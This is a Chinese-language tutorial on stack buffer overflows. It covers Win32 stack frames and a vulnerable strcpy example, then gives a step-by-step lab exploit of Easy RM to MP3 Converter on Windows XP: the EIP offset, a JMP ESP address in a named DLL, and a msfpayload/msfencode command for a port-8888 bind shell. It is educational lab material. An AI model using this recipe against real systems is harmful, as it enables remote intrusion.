選取wmplayer.exe程序運行時的內存布局示意,包括棧,堆,加載模塊(DLLs)和可執行文件本身。
Win32進程空間布局示意。
運行一個EXE的時候,會先根據IAT表加載相應的DLL,并且用GetProcAddress得到API的真實地址。也就是說EXE運行后,DLL的EP將是第一個被調用的地方,而EXE本身的EP應該是最后被調用的,但它是EXE本身代碼的入口。
不同系統平臺下反匯編結果。本節程序選取《逆向工程核心原理》一書中的HelloWorld.exe進行調試示意。
Windows Server 2008下反匯編結果(存在地址隨機化,相同的exe程序,載入調試器后入口地址與XP下不同)。
Windows XP下反匯編結果。
F7 Step into。
004027A1地址處的RETN指令,用于返回到函數調用者的下一條指令(彈出ESP內容到EIP,然后跳轉,0012FFC0處的值是004011A5,小端排序),一般是被調用函數的最后一句,即返回004011A5(JMP 0040104F)
EIP值為004011A5,ESP指針繼續向下移動,ESP從0012FFC0指向0012FFC4(ESP+4)。
不同的開發工具生成的啟動函數不同。同一種開發工具,產生的啟動函數也隨版本的不同而不同。
Call 00402524
過程描述 | 匯編代碼 |
---|---|
參數入棧 返回地址入棧 代碼區跳轉 棧幀調整 |
push 參數3 push 參數2 push 參數1 call (相當于push+jmp) push ebp mov ebp esp sub esp,xxx |
過程描述 | 匯編代碼 |
---|---|
棧回收 把ESP所指向內容彈出到EBP(相當于保存的上一棧的EBP彈出) 返回地址彈入EIP并Jump |
ADD ESP,XXX POP EBP RETN (相對于POP+JUMP) |
函數棧幀示意。
棧溢出就是緩沖區溢出的一種。 由于緩沖區溢出而使得有用的存儲單元被改寫,往往會引發不可預料的后果。程序在運行過程中,為了臨時存取數據的需要,一般都要分配一些內存空間,通常稱這些空間為緩沖區。如果向緩沖區中寫入超過其本身長度的數據,導致緩沖區無法容納,就會造成緩沖區以外的存儲單元被改寫,這種現象就稱為緩沖區溢出。棧溢出原理示意入下圖。
調試帶有字符串拷貝的簡單程序示意。程序可以用Dev-C++ 4.9.9.2編譯,小巧簡單。程序代碼如下。
#!cpp
#include <string.h>
void do_something(char *Buffer)
{
char MyVar[128];
strcpy(MyVar,Buffer);
}
int main (int argc, char **argv)
{
do_something(argv[1]);
}
調用函數,CALL function.00401290。
函數返回后的下一條執行地址壓棧,在棧中可以看到004012EA,函數跳轉到00401290。
進入子函數,PUSH EBP,EBP入棧。
MOV EBP ESP 改變棧底,讓EBP指向ESP,EBP的內容(0x0022FF78)指向了前一個棧幀,所以[EBP+4]=004012EA。
開辟棧存儲空間:SUB ESP,0x98
根據調試截圖可知,如果[Buffer]的大小大于0x98字節,strcpy()函數將會覆蓋保存的EBP(saved EBP)和保存的EIP(saved EIP),覆蓋過程示意如下。
程序描述 | 備注 |
---|---|
Easy RM to MP3 Converter 2.7.3.700 | 存在棧溢出漏洞的軟件 |
Windows XP Pro SP3 En MSDN VL(不打任何補丁,關閉DEP) | 模擬受害端 |
Kali-linux-1.0.9-i386 | 模擬攻擊端 |
Windbg 6.12.0002.633 X86 | |
Python 2.7.7 | |
Immunity Debugger 1.85 |
利用Perl和Python可以生成不同的m3u文件、POC進行測試。
打開Easy RM to MP3 Converter,加載具有10000個字符A的crash.m3u無效文件,我們發現目標軟件捕獲了該錯誤,跳出友好提示。 程序拋出一個錯誤,但是看起來這個錯誤被程序異常處理例程捕捉到了,程序并沒崩掉。
調整字符個數,繼續運行,目標軟件在20000和30000之間可以崩潰掉。很明顯,EIP 0x41414141是crash.m3u中的數據,說明程序返回地址被覆蓋,EIP跳轉到0x41414141,但找不到可執行的指令,所以報錯。同時,從圖中可以看出程序的EIP也可以被我們填充成一個指向惡意代碼的地址。
如果使用二分法。用25000個A和5000個B填充m3u文件,如果EIP變為41414141 (AAAA)。那么返回地址就位于20000到25000之間。 如果EIP變為42424242 (BBBB)那么返回地址就位于25000到30000之間。
使用25000A+5000B,可以看到EIP為42424242(BBBB),所以返回地址位于25000到30000之間了。
根據調試信息,返回返回地址為42424242,說明ESP指向的返回地址已經彈出到EIP,則在內存中,棧頂指針ESP會指向EIP的下一個位置,如上圖所示。 查看esp中的數據 d esp。
尋找存放shellcode的地址空間原理。
根據函數調用的堆棧平衡原理,緩沖區溢出之后,ESP應該停留在函數(這里假設為:XXCopy)調用之前所在位置上。也就是說,覆蓋完EIP之后繼續填充的數據都將保存在ESP所指地址中。
我們用BBBB重寫了EIP和可以看到ESP所指的緩沖區。在我們調整腳本之前,需要精確的定位出來返回地址在緩沖區的位置,因為如果填充的都是AAAABBBB之類的,區分度不夠高。調用metasploit中自帶的工具。
[email protected]:/opt/metasploit/apps/pro/msf3/tools# ./pattern_create.rb 5000
重寫EIP前面需要覆蓋的緩沖區長度。創建一個文件,填充25000+1069個A,再加4個B,EIP應該就會被重寫成為42424242。
d esp
26061+4+4 = 26069
Buffer | EBP | EIP | ESP 指向位置 |
---|---|---|---|
A(x 26061) | AAAA | BBBB | CCCCCCCCCCCCCCCCCCCCC |
414141414141414141414141...41 | 41414141 | 4242424242 | |
26061 bytes | 4bytes | 4bytes |
當函數返回,BBBB被置入EIP中(pop ebp,retn),所以流程嘗試到地址0x42424242(BBBB)執行。找內存空間存放我們的shellcode。
為了讓應用程序崩潰,我們已經向內存中寫入了26069 個A,我們已經向保存的EIP存儲空間寫入了一個新的值(函數返回執行時,RET將彈出并跳轉到這個值),我們已經寫了一堆的字符C。當應用程序崩潰時,可以查看所有這些寄存器(D ESP,D EAX,D EBX,D EBP,...)。如果你能在這些寄存器中的一個,看到緩沖區里的值(無論是A,還是C),那么你或許可以用shellcode取代它們的值,并跳轉到該位置。在我們的例子中,我們可以看到,ESP似乎指向我們的C,所以理想情況下,我們會用實際的shellcode取代C,告訴EIP跳轉到ESP的地址。
直接跳到一個內存地址不是一個好的方法(000ff730包含了字符串終止符(NULL: 00) ...所以你看到來自緩沖區第一部分的字母A...我們無法到達重寫EIP后我們的數據了....另一方面,在Exploit使用內存地址直接跳轉是非常不可靠的...因為內存地址會因為系統版本,語言等的不同而不同)
windbg中輸入a,然后再輸入jmp esp ,報錯,直接回車,返回命令輸入界面。然后u jmp esp之前的地址。
在地址7c90120e,你可以看到ffe4。這是操作碼JMP ESP
現在,我們需要在這些加載的DLL中的某一個,找到這個操作碼(opcode)。
查看WinDbg窗口,可以容易找到屬于Easy RM to MP3應用程序的DLL。
如果我們能夠在這些DLL中找到一個操作碼,那么我們就可以在Windows平臺上制作可靠的漏洞利用程序。
如果我們使用屬于操作系統的DLL,那么我們可能會發現,漏洞利用程序在其他版本的操作系統上無法正常工作。
因此,我們在C:\Program Files\Easy RM to MP3 Converter\MSRMCcodec02.dll
中搜索操作碼。
此DLL在地址01c20000和020ed000之間加載。搜索操作碼FF E4。
s 01c20000 020ed000 ff e4
當選擇一個地址時,尋找空字節是很重要的。
你應該盡量避免使用地址中含有空字節。空字節將成為一個字符串結束符,那么緩沖區數據其余的部分將變得不可用。
s 70000000 l fffffff ff e4
因為我們希望把我們的shellcode放入ESP中(在覆蓋的EIP之后放置載荷payload),從列表中選出的JMP ESP地址空間中不能有NULL字節。
空字節作為一個字符串結束,因此所有在它后面的內容會被忽略。
我們在覆蓋的EIP之后放置我們的shellcode,這個地址不能包含空字節。
第一個地址起作用的地址是0x01ddf23a。
輸入命令可以驗證這個地址是否含有jmp esp(在地址01ccf23a處反匯編指令)
u 01ddf23a
3.1 彈計算器
如果我們用0x01ccf23a 覆蓋EIP,那么 jmp esp將會被執行。esp 包含了shellcode,所以我們就有了一個可用的exploit。首先我們可以用帶有“NOP & break”的shellcode測試下。用Windbg調試,軟件打開m3u文件。
再次運行程序,用windbg附加,運行,打開新的m3u文件。程序將會在地址000ff745暫停。那么說明jmp esp起作用了。esp開始于 000ff730, 它含有NOPs 指令直到 000ff744。
現在添加真實的shellcode,并開發exploit。再次打開,彈出計算器。
利用msfpaload生成shellcode,綁定某端口,例如8888。
Shellcode執行成功后,如果沒有設置過防火墻,windows防火墻彈出攔截提示,unblock允許。
netstat –ano 查看網絡連接情況,可以看到,打開了8888端口,查看進程號PID為388,程序為EasyRMtoMP3Converter.exe。
在Windows防火墻打開的情況下,ping不通,如果防火墻允許8888端口通信,telnet可以連接。
查看網絡狀態,與windows機器上顯示一致。
描述 | 備注 |
---|---|
Metasploit每次生成不同的shellcode的不同輸出。所以,如果你看自己的機器上每次看到不同的shellcode,則不必驚慌。 | 需要去掉壞字符 \x00\x0a\x0d\x1a |
使用相同的命令,不同的系統,默認的編碼器可能不同 | msfpayload windows/shell_bind_tcp LPORT=8888 R | msfencode -b '\x00\x0a\x0d\x1a' -t perl |
Kali系統中metasploit默認所使用的編碼器與BackTrack不一致。 | 參考文獻上使用的是Backtrack系統,其metasploit使用的默認編碼器是x86/shikata_ga_nai,而Kali在不指定參數的情況下,使用的默認編碼器是cmd/powershell_base64 |
Backtrack默認編碼器x86/shikata_ga_nai Backtrack系統metasploit所生成的shellcode size 368 |
|
![]() |
|
Kali默認編碼器cmd/powershell_base64 Kali系統metasploit所生成的shellcode size 985 |
![]() |
使用Kali默認編碼器生成的shellcode,程序執行后崩潰。 | ![]() |
為了生成可綁定端口的的shellcode,在Kali系統中需要指定編碼器 msfencode -e x86/shikata_ga_nai |
![]() |
參考文獻 1) https://www.google.com 2) https://www.corelan.be/index.php/2009/07/19/exploit-writing-tutorial-part-1-stack-based-overflows/ 3) https://www.corelan.be/index.php/forum/exploit-writing-debuggers/error-when-executed-u-unassemble-followed-by-the-address-that-was-shown-before-entering-jmp-esp/ 4) http://blog.csdn.net/yuzl32/article/details/6126592 5) http://extreme-security.blogspot.com/2013/02/stack-overflows-part-2-executing.html 6) http://cstriker1407.info/blog/a-reading-notes-of-the-devils-training-camp-msfpayload-using-the-tool-and-free-to-kill/ 7) http://www.securitysift.com/windows-exploit-development-part-1-basics/ 8) 《逆向工程核心原理》